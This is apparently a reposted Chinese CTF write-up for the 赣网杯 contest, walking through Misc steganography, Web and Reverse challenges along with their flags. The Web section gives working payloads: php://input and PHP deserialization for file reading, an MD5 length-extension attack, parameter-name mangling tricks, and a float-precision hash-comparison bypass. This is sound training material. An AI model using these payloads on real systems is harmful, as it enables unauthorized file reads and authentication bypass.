Misc
CheckIn
看到二维码扫描,关注公众号,回复赣网杯,直接出现flag
face
下载解压,得到flag.txt,打开一看,是一大串表情字符,一开始联想到js表情包加解密,后来尝试无果
在github上找到相关文章
直接对应字符转码
找到转译网站直接转换成文本
拿到flag
DestroyJava
解压得到一个mp4文件
看了一下视频内容,猜测其中藏了什么信息
binwalk查看发现有jpeg图片
foremost分离
分离出jpg图片
一开始以为是图片隐写,把jpg图片放进stegsolve等工具查看了通道,都没发现什么信息
于是换个思路,steghide info 发现隐藏文件
利用网上脚本爆破出密码
爆破脚本如下
利用steghide提取出刚刚发现的隐藏文件a.jpg的信息内容,发现base64.txt,查看,发现一串编码,猜测为base85编码,直接利用python base64模块的base85解码,解出flag
Hidepig
发现流量的类型为USB,于是找到USB流量分析脚本
获得密码:381382770
得到密码之后,进行pdf隐写
打开使用wbStego4open
输入刚才得到的密码
得到flag
Web
EasyPhp
打开题目直接就给出了源码
源码接受三个参数,$sz_txt读取的文件内容要为”welcome to jxsz”
$sz_file参数会进行正则匹配flag,若匹配,则输出”Not now!”,然后退出
如果没有匹配到flag,则进入include函数
输入的password参数会进行反序列操作然后输出
分析之后
$sz_txt可以通过php://input的伪协议进行读取post进去的值,这样就可以读取到我们任意的字符
题目中注释给出了存在useless.php,我们需要读取出来查看
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("So cool,continue plz");
}
}
}
?>
这定义了一个Flag类,其中引入了一个魔术方法__tostring,如果存在$flag,则包含并输出其中的内容
运行之后得到O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
所以构造出最终payload
得到flag
parseHash
此题为国赛原题easytrick改的,考查的是hash拓展攻击 + php非法表单名传参 + php浮点数高精度绕过
因为比赛环境关闭了,所以自己搭了一个,改了key值:
<?php
include("key.php");
class person{
public $aa;
public $bb;
public $username;
public $password;
public function __construct($key=''){
$this->username="jxsz";
$this->password="jxsz";
if(strlen($key)==16&&md5($key . urldecode( $this->username . $this->password)=="
1f19fc53484d729ca7c3f44fe37115f6")){
echo "Welcome";
}
}
public function __destruct(){
$this->aa = (string)$this->aa;
if(strlen($this->aa) > 5 || strlen($this->bb) > 5||preg_match('/INF|NAN|M_/i', $this->aa)){
die("no no no");
}
if($this->aa !== $this->bb && md5($this->aa) === md5($this->bb) && $this->aa != $this->bb){
echo file_get_contents("flag");
}
}
}
highlight_file(__FILE__);
$person=new person($key);
$other_pwd=$_POST["pwd1"];
$other_hash=$_POST["hash_code"];
if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){
echo "66666666666";
unserialize($_GET['sz_sz.sz']);
}
hash拓展攻击部分
$this->username = "jxsz"
$this->password = "jxsz"
strlen($key)==16
md5($key.urldecode($this->username.$this->password)) = " "
strlen($key) + strlen("jxsz") = 20
最后一个条件: 传入字符串中需要有“szxy666”字符,并且不能放在开头
我们可以使用hashpump进行长度拓展
hashpump工具地址:https://github.com/bwall/HashPump
将拓展后的编码urlencode一下,用%代替\x
jxsz%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00szxy666
635c8ebe4aadeed473a16c197e01fa2e
拼接一下payload:
pwd1=jxsz%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00szxy666&hash_code=635c8ebe4aadeed473a16c197e01fa2e
执行
一开始抓到的是get包,换成post再传,go一下成功回显
php非法表单名传参
反序列化GET参数名中包含了非法字符. 会进行过滤
unserialize($_GET['sz_sz.sz'])
通过php对非法传参名的处理机制,我们可以了解到处理非法字符.的过程中只替换一次
所以为了防止变量名’sz_sz.sz’中的.被替换成_,我们用 [ 代替_去执行,这样替换一次后,后面的 . 就不会过滤掉
所以前部分payload:?sz[sz.sz=
php浮点数高精度绕过
这里过滤了NAN和INF,利用高精度浮点数绕过
序列化poc:
<?php
class person{
public $aa;
public $bb;
}
$res = new person();
$res->aa = 0.8 * 7;
$res->bb = 7 * 0.8;
echo serialize($res);
?>
O:6:"person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}
拼接:
?sz[sz.sz=O:6:”person":2:{s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}
测试
出现flag
flag{hashparse+sz_sz.sz}
Reverse
maze
ida打开很奇怪,猜测有壳
exeinfope查壳发现是upx
工具脱壳后程序好像IAT表出现问题打不开
直接静态分析吧,上下左右对应WSAD
要求输入字符长度为48
迷宫一行30个,起点是坐标[1,1],终点是数据为2的坐标
数据如下:
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,
0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,2,0,
最后flag为:flag{DSSSDDSDSDDDDDWDDSDSSDDDDWDDSSDDWDDDDDDSSD}
转载:https://blog.csdn.net/m0_46481239/article/details/108446288